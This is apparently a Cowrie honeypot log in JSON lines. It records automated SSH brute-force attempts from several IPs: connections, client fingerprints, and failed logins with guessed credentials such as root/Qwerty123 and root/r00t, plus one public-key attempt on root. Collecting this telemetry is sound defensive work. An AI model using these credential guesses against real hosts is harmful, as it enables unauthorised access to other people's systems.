{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40266,"dst_ip":"159.203.135.109","dst_port":22,"session":"f36bfa723511","protocol":"ssh","message":"New connection: 168.167.228.74:40266 (159.203.135.109:22) [session: f36bfa723511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:58.343933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:58.352815Z","src_ip":"168.167.228.74","session":"f36bfa723511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:58.614089Z","src_ip":"168.167.228.74","session":"f36bfa723511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:59.435909Z","src_ip":"91.92.42.227","session":"c0f977be1e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moon","password":"1","message":"login attempt [moon/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:59.679080Z","src_ip":"168.167.228.74","session":"f36bfa723511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:00.943838Z","src_ip":"168.167.228.74","session":"f36bfa723511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:02.793446Z","src_ip":"91.92.42.227","session":"260a5d117781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53230,"dst_ip":"10.17.0.5","dst_port":22,"session":"9961683f6ae3","protocol":"ssh","message":"New connection: 91.92.42.227:53230 (10.17.0.5:22) [session: 9961683f6ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:04.164450Z"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:04.677605Z","src_ip":"91.92.42.227","session":"260a5d117781","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:04.908114Z","src_ip":"91.92.42.227","session":"9961683f6ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:04.911963Z","src_ip":"91.92.42.227","session":"9961683f6ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":54910,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a47995b010d","protocol":"ssh","message":"New connection: 4.213.224.194:54910 (10.17.0.5:22) [session: 7a47995b010d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:05.363216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:05.369594Z","src_ip":"4.213.224.194","session":"7a47995b010d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:05.583179Z","src_ip":"4.213.224.194","session":"7a47995b010d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oneuser","password":"oneuser","message":"login attempt [oneuser/oneuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:06.452950Z","src_ip":"4.213.224.194","session":"7a47995b010d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:07.663908Z","src_ip":"4.213.224.194","session":"7a47995b010d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:08.713918Z","src_ip":"91.92.42.227","session":"9961683f6ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:10.298800Z","src_ip":"91.92.42.227","session":"9961683f6ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39840,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c3f90df16b","protocol":"ssh","message":"New connection: 91.92.42.227:39840 (10.17.0.5:22) [session: a1c3f90df16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:12.226825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:12.593199Z","src_ip":"91.92.42.227","session":"a1c3f90df16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:12.595506Z","src_ip":"91.92.42.227","session":"a1c3f90df16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:14.719702Z","src_ip":"91.92.42.227","session":"a1c3f90df16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:15.968120Z","src_ip":"91.92.42.227","session":"a1c3f90df16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57186,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a06b5cef8a","protocol":"ssh","message":"New connection: 103.248.120.6:57186 (10.17.0.5:22) [session: 51a06b5cef8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:19.350289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:19.354187Z","src_ip":"103.248.120.6","session":"51a06b5cef8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:19.579084Z","src_ip":"103.248.120.6","session":"51a06b5cef8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60242,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d15695c38ca","protocol":"ssh","message":"New connection: 91.92.42.227:60242 (10.17.0.5:22) [session: 3d15695c38ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:20.297761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:20.322400Z","src_ip":"91.92.42.227","session":"3d15695c38ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:20.380669Z","src_ip":"91.92.42.227","session":"3d15695c38ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"allen","message":"login attempt [allen/allen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:20.511215Z","src_ip":"103.248.120.6","session":"51a06b5cef8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:20.942007Z","src_ip":"91.92.42.227","session":"3d15695c38ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:21.741058Z","src_ip":"103.248.120.6","session":"51a06b5cef8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:22.496717Z","src_ip":"91.92.42.227","session":"3d15695c38ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.206.178","src_port":23698,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b9f2bee38a","protocol":"ssh","message":"New connection: 89.163.206.178:23698 (10.17.0.5:22) [session: a8b9f2bee38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:22.935334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:22.939809Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.029560Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:5d:db:99:45:a6:6d:1d:77:81:08:7b:ae:13:4a:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+oh6NL0POWW/VCReXoQCMKSA4JKz8xvTasmFUbEU1KhWBRIwTdqCu/L2WZC2RFjohrUVw3JMSYIj9ntgUUO1+Q5bi7IXQGCC+wxA8lJWXYNhifDzeL1kfDL/zJo/xUe1grPtq4anIDmIxhmoHbGb5cZbPcQpT6hjzuQYgqn/WraVddZKaZyq3OrfQ0MVq44kwVYlcotsBJ1EC4EG9pPnThFAzavUkzrWYUrWSUqvkMG6+zwZXfuAQNHduzTKqCrEUhlc+rsEgUnGTeoqE+kC2wAvaEOj1/di+nakKQkaHC0ceJe/vfpDNulcn+H/umwZ+2QfXxh/XGn5Q8CxPTbRgaXc88ofEvhf+MT4c4s/WKtg9gkjYx1jY/gPyNic2ZEq1Dq9ZQbujKPJk1H6mPurNhlfWfQNjqywOHRfT7g31lFep7WQwBEtlY3pfe1xXKNoc5aUz+MalDLKQorHXHvuX+ipD0Z1LlqakRdF3CEGaZzHag0+bni1gp7NiZy3FJwh5I0HKso7PSqORFAg5DSR5bQxE52Jk/QZRhnfTMimwZuWg5YmpU62UbFGjGlMz+i8gJy/Vy+wJFA0jlzD7bwytIe4McqDzVENVYR/DtHVrVNN8wczuq5gci//TLc4uc1wcWHmOQCAQwTgRRel+nJP7tx6S0LKQI3SbpT7jaI7Zbw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:5d:db:99:45:a6:6d:1d:77:81:08:7b:ae:13:4a:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.459034Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:5d:db:99:45:a6:6d:1d:77:81:08:7b:ae:13:4a:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+oh6NL0POWW/VCReXoQCMKSA4JKz8xvTasmFUbEU1KhWBRIwTdqCu/L2WZC2RFjohrUVw3JMSYIj9ntgUUO1+Q5bi7IXQGCC+wxA8lJWXYNhifDzeL1kfDL/zJo/xUe1grPtq4anIDmIxhmoHbGb5cZbPcQpT6hjzuQYgqn/WraVddZKaZyq3OrfQ0MVq44kwVYlcotsBJ1EC4EG9pPnThFAzavUkzrWYUrWSUqvkMG6+zwZXfuAQNHduzTKqCrEUhlc+rsEgUnGTeoqE+kC2wAvaEOj1/di+nakKQkaHC0ceJe/vfpDNulcn+H/umwZ+2QfXxh/XGn5Q8CxPTbRgaXc88ofEvhf+MT4c4s/WKtg9gkjYx1jY/gPyNic2ZEq1Dq9ZQbujKPJk1H6mPurNhlfWfQNjqywOHRfT7g31lFep7WQwBEtlY3pfe1xXKNoc5aUz+MalDLKQorHXHvuX+ipD0Z1LlqakRdF3CEGaZzHag0+bni1gp7NiZy3FJwh5I0HKso7PSqORFAg5DSR5bQxE52Jk/QZRhnfTMimwZuWg5YmpU62UbFGjGlMz+i8gJy/Vy+wJFA0jlzD7bwytIe4McqDzVENVYR/DtHVrVNN8wczuq5gci//TLc4uc1wcWHmOQCAQwTgRRel+nJP7tx6S0LKQI3SbpT7jaI7Zbw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:23.462059Z","src_ip":"89.163.206.178","session":"a8b9f2bee38a","protocol":"ssh"}
